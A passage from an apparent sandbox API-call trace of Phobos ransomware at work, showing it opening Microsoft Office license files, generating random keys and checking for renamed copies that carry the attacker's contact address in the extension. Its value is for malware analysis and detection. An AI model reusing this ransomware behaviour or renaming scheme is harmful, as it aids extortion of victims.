lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.334] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.335] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19945) returned 1 [0153.335] CloseHandle (hObject=0x564) returned 1 [0153.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.336] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.337] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24297) returned 1 [0153.337] CloseHandle (hObject=0x564) returned 1 [0153.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_grace-ppd.xrm-ms")) returned 0x220 [0153.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.337] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.338] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11599) returned 1 [0153.338] CloseHandle (hObject=0x564) returned 1 [0153.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_grace-ul-oob.xrm-ms")) returned 0x220 [0153.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.339] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.340] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10643) returned 1 [0153.340] CloseHandle (hObject=0x564) returned 1 [0153.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-pl.xrm-ms")) returned 0x220 [0153.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.342] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.343] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24302) returned 1 [0153.343] CloseHandle (hObject=0x564) returned 1 [0153.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ppd.xrm-ms")) returned 0x220 [0153.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.344] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.344] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11592) returned 1 [0153.344] CloseHandle (hObject=0x564) returned 1 [0153.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0153.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.345] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.346] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19937) returned 1 [0153.346] CloseHandle (hObject=0x564) returned 1 [0153.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.347] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.347] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10647) returned 1 [0153.347] CloseHandle (hObject=0x564) returned 1 [0153.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-pl.xrm-ms")) returned 0x220 [0153.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.350] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.351] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24303) returned 1 [0153.351] CloseHandle (hObject=0x57c) returned 1 [0153.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ppd.xrm-ms")) returned 0x220 [0153.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.351] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.352] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11596) returned 1 [0153.352] CloseHandle (hObject=0x57c) returned 1 [0153.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ul-oob.xrm-ms")) returned 0x220 [0153.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.353] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.353] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19941) returned 1 [0153.353] CloseHandle (hObject=0x57c) returned 1 [0153.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ul-phn.xrm-ms")) returned 0x220 [0153.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.354] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.354] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10647) returned 1 [0153.354] CloseHandle (hObject=0x57c) returned 1 [0153.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-pl.xrm-ms")) returned 0x220 [0153.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.355] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.355] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24303) returned 1 [0153.355] CloseHandle (hObject=0x57c) returned 1 [0153.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ppd.xrm-ms")) returned 0x220 [0153.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.356] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.357] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11596) returned 1 [0153.357] CloseHandle (hObject=0x57c) returned 1 [0153.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ul-oob.xrm-ms")) returned 0x220 [0153.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.410] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.411] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20781) returned 1 [0153.411] CloseHandle (hObject=0x574) returned 1 [0153.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ppd.xrm-ms")) returned 0x220 [0153.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.411] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 